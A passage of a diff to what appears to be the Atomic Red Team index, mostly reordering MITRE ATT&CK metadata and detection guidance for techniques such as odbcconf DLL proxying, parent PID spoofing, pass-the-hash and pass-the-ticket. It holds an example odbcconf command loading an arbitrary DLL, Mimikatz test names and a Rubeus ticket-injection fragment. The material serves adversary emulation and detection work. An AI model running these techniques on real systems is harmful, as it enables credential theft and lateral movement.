         with an operation, assuming that individual events like an anti-virus detect
         will not be investigated or that an analyst will not be able to conclusively
         link that event to other activity occurring on the network. "
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027
+        external_id: T1027
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/267.html
+        external_id: CAPEC-267
+        source_name: capec
+      - source_name: Volexity PowerDuke November 2016
+        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
+          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
+          11, 2017.'
+        url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
+      - source_name: Linux/Cdorked.A We Live Security Analysis
+        description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache
+          backdoor being used in the wild to serve Blackhole. Retrieved September
+          10, 2017.'
+        url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
+      - source_name: Carbon Black Obfuscation Sept 2016
+        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
+          February 12, 2018.
+        url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
+      - source_name: FireEye Obfuscation June 2017
+        description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
+          Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
+          12, 2018.'
+        url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
+      - source_name: FireEye Revoke-Obfuscation July 2017
+        description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation:
+          PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.'
+        url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
+      - source_name: PaloAlto EncodedCommand March 2017
+        description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand
+          PowerShell Attacks. Retrieved February 12, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
+      - source_name: GitHub Revoke-Obfuscation
+        description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February
+          12, 2018.
+        url: https://github.com/danielbohannon/Revoke-Obfuscation
+      - source_name: GitHub Office-Crackros Aug 2016
+        description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February
+          12, 2018.
+        url: https://github.com/itsreallynick/office-crackros
       identifier: T1027
     atomic_tests:
     - name: Decode base64 Data into Script
@@ -33725,7 +34648,26 @@ defense-evasion:
         name: manual
   T1218.008:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Odbcconf
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:39:00.717Z'
+      created: '2020-01-24T15:01:32.917Z'
       id: attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may abuse odbcconf.exe to proxy execution of malicious
         payloads. Odbcconf.exe is a Windows utility that allows you to configure Open
         Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft
@@ -33736,56 +34678,37 @@ defense-evasion:
         DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).
         (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:
         TrendMicro Cobalt Group Nov 2017) \n"
-      name: Odbcconf
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.008
-        url: https://attack.mitre.org/techniques/T1218/008
-      - source_name: Microsoft odbcconf.exe
-        url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
-        description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
-          7, 2019.
-      - source_name: LOLBAS Odbcconf
-        url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
-        description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
-      - source_name: TrendMicro Squiblydoo Aug 2017
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
-        description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
-          7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
-          Retrieved March 7, 2019.
-      - source_name: TrendMicro Cobalt Group Nov 2017
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
-        description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
-          20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
-          Against Russian Banks. Retrieved March 7, 2019.'
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-20T22:39:00.717Z'
-      created: '2020-01-24T15:01:32.917Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history
         of known good arguments and loaded DLLs to determine anomalous and potentially
         adversarial activity. Command arguments used before and after the invocation
         of odbcconf.exe may also be useful in determining the origin and purpose of
         the DLL being loaded.
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Application control
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/008
+        external_id: T1218.008
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
+        description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
+          7, 2019.
+        source_name: Microsoft odbcconf.exe
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
+        description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
+        source_name: LOLBAS Odbcconf
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
+        description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
+          7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
+          Retrieved March 7, 2019.
+        source_name: TrendMicro Squiblydoo Aug 2017
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
+        description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
+          20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
+          Against Russian Banks. Retrieved March 7, 2019.'
+        source_name: TrendMicro Cobalt Group Nov 2017
       identifier: T1218.008
     atomic_tests:
     - name: Odbcconf.exe - Execute Arbitrary DLL
@@ -33818,78 +34741,78 @@ defense-evasion:
         name: command_prompt
   T1134.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.004
-        url: https://attack.mitre.org/techniques/T1134/004
-      - source_name: DidierStevens SelectMyParent Nov 2009
-        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
-        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
-          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
-      - source_name: Microsoft UAC Nov 2018
-        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
-        description: Montemayor, D. et al.. (2018, November 15). How User Account
-          Control works. Retrieved June 3, 2019.
-      - source_name: CounterCept PPID Spoofing Dec 2018
-        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
-        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
-          June 3, 2019.
-      - source_name: CTD PPID Spoofing Macro Mar 2019
-        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
-        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
-          to spoof parent processes and command line arguments. Retrieved June 3,
-          2019.
-      - source_name: XPNSec PPID Nov 2017
-        url: https://blog.xpnsec.com/becoming-system/
-        description: Chester, A. (2017, November 20). Alternative methods of becoming
-          SYSTEM. Retrieved June 4, 2019.
-      - source_name: Microsoft Process Creation Flags May 2018
-        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
-        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
-          Retrieved June 4, 2019.
-      - description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
-          Ataware Ransomware Part 3. Retrieved June 6, 2019.
-        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
-        source_name: Secuirtyinbits Ataware3 May 2019
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Parent PID Spoofing
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Creation'
+      - 'Process: Process Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T14:11:20.296Z'
+      created: '2020-02-18T18:22:41.448Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
+      x_mitre_defense_bypassed:
+      - Heuristic Detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: |-
         Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
 
         Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
 
         Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
-      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-02-09T14:11:20.296Z'
-      created: '2020-02-18T18:22:41.448Z'
       x_mitre_contributors:
       - Wayne Silva, F-Secure Countercept
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_defense_bypassed:
-      - Heuristic Detection
-      - Host forensic analysis
       x_mitre_detection: |-
         Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)
 
         Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Creation'
-      - 'Process: Process Metadata'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/004
+        external_id: T1134.004
+        source_name: mitre-attack
+      - url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
+        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
+          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
+        source_name: DidierStevens SelectMyParent Nov 2009
+      - url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
+        description: Montemayor, D. et al.. (2018, November 15). How User Account
+          Control works. Retrieved June 3, 2019.
+        source_name: Microsoft UAC Nov 2018
+      - url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
+        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
+          June 3, 2019.
+        source_name: CounterCept PPID Spoofing Dec 2018
+      - url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
+        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
+          to spoof parent processes and command line arguments. Retrieved June 3,
+          2019.
+        source_name: CTD PPID Spoofing Macro Mar 2019
+      - url: https://blog.xpnsec.com/becoming-system/
+        description: Chester, A. (2017, November 20). Alternative methods of becoming
+          SYSTEM. Retrieved June 4, 2019.
+        source_name: XPNSec PPID Nov 2017
+      - url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
+        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
+          Retrieved June 4, 2019.
+        source_name: Microsoft Process Creation Flags May 2018
+      - source_name: Secuirtyinbits Ataware3 May 2019
+        description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
+          Ataware Ransomware Part 3. Retrieved June 6, 2019.
+        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
       identifier: T1134.004
     atomic_tests:
     - name: Parent PID Spoofing using PowerShell
@@ -34073,53 +34996,53 @@ defense-evasion:
         name: powershell
   T1550.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.002
-        url: https://attack.mitre.org/techniques/T1550/002
-      - external_id: CAPEC-644
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/644.html
-      - source_name: Stealthbits Overpass-the-Hash
-        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
-        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
-          Attacks. Retrieved February 4, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Pass the Hash
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.1'
+      modified: '2021-08-31T19:55:02.702Z'
+      created: '2020-01-30T16:36:51.184Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
       description: |-
         Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
 
         When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
 
         Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
-      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-03-15T21:04:33.228Z'
-      created: '2020-01-30T16:36:51.184Z'
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Blake Strom, Microsoft 365 Defender
+      - Travis Smith, Tripwire
       x_mitre_detection: |-
         Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
 
         Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_contributors:
-      - Blake Strom, Microsoft 365 Defender
-      - Travis Smith, Tripwire
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/002
+        external_id: T1550.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/644.html
+        external_id: CAPEC-644
+        source_name: capec
+      - url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
+        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
+          Attacks. Retrieved February 4, 2021.
+        source_name: Stealthbits Overpass-the-Hash
       identifier: T1550.002
     atomic_tests:
     - name: Mimikatz Pass the Hash
@@ -34214,37 +35137,56 @@ defense-evasion:
         name: command_prompt
   T1550.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.003
-        url: https://attack.mitre.org/techniques/T1550/003
-      - external_id: CAPEC-645
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/645.html
-      - url: https://adsecurity.org/?p=556
-        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
-          Kerberos Attacks. Retrieved June 2, 2016.
-        source_name: ADSecurity AD Kerberos Attacks
-      - url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
-        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
-          2, 2016.
-        source_name: GentilKiwi Pass the Ticket
-      - url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
-        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
-          4, 2014.
-        source_name: Campbell 2014
-      - source_name: Stealthbits Overpass-the-Hash
-        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
-        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
-          Attacks. Retrieved February 4, 2021.
-      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
-        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
-          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
-        source_name: CERT-EU Golden Ticket Protection
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Pass the Ticket
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/003
+        external_id: T1550.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/645.html
+        external_id: CAPEC-645
+        source_name: capec
+      - source_name: ADSecurity AD Kerberos Attacks
+        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
+          Kerberos Attacks. Retrieved June 2, 2016.
+        url: https://adsecurity.org/?p=556
+      - source_name: GentilKiwi Pass the Ticket
+        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
+          2, 2016.
+        url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
+      - source_name: Campbell 2014
+        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
+          4, 2014.
+        url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
+      - url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
+        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
+          Attacks. Retrieved February 4, 2021.
+        source_name: Stealthbits Overpass-the-Hash
+      - source_name: CERT-EU Golden Ticket Protection
+        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
+          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
+        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      - 'Active Directory: Active Directory Credential Request'
+      x_mitre_version: '1.1'
+      modified: '2021-08-31T19:56:31.341Z'
+      x_mitre_system_requirements:
+      - Kerberos authentication enabled
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
       description: |-
         Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
 
@@ -34255,34 +35197,15 @@ defense-evasion:
         A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
 
         Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
-      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-03-15T21:42:11.839Z'
-      created: '2020-01-30T17:03:43.072Z'
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Kerberos authentication enabled
+      x_mitre_contributors:
+      - Vincent Le Toux
+      - Ryan Becwar
       x_mitre_detection: |-
         Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
 
         Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      - 'Active Directory: Active Directory Credential Request'
-      x_mitre_contributors:
-      - Vincent Le Toux
-      - Ryan Becwar
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-30T17:03:43.072Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1550.003
     atomic_tests:
     - name: Mimikatz Kerberos Ticket Attack
@@ -34392,22 +35315,31 @@ defense-evasion:
           /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"#{rubeus_path}\" purge      \n"
   T1556.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.002
-        url: https://attack.mitre.org/techniques/T1556/002
-      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
-        description: Fuller, R. (2013, September 11). Stealing passwords every time
-          they change. Retrieved November 21, 2017.
-        source_name: Carnal Ownage Password Filters Sept 2013
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Password Filter DLL
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:55.147Z'
+      created: '2020-02-11T19:05:45.829Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may register malicious password filter dynamic link
         libraries (DLLs) into the authentication process to acquire user credentials
         as they are validated. \n\nWindows password filters are password policy enforcement
@@ -34423,34 +35355,25 @@ defense-evasion:
         receive plain-text credentials from the LSA. A malicious password filter would
         receive these plain-text credentials every time a password request is made.(Citation:
         Carnal Ownage Password Filters Sept 2013)"
-      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-20T20:11:55.147Z'
-      created: '2020-02-11T19:05:45.829Z'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_contributors:
       - Vincent Le Toux
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.
 
         Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/002
+        external_id: T1556.002
+        source_name: mitre-attack
+      - source_name: Carnal Ownage Password Filters Sept 2013
+        description: Fuller, R. (2013, September 11). Stealing passwords every time
+          they change. Retrieved November 21, 2017.
+        url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
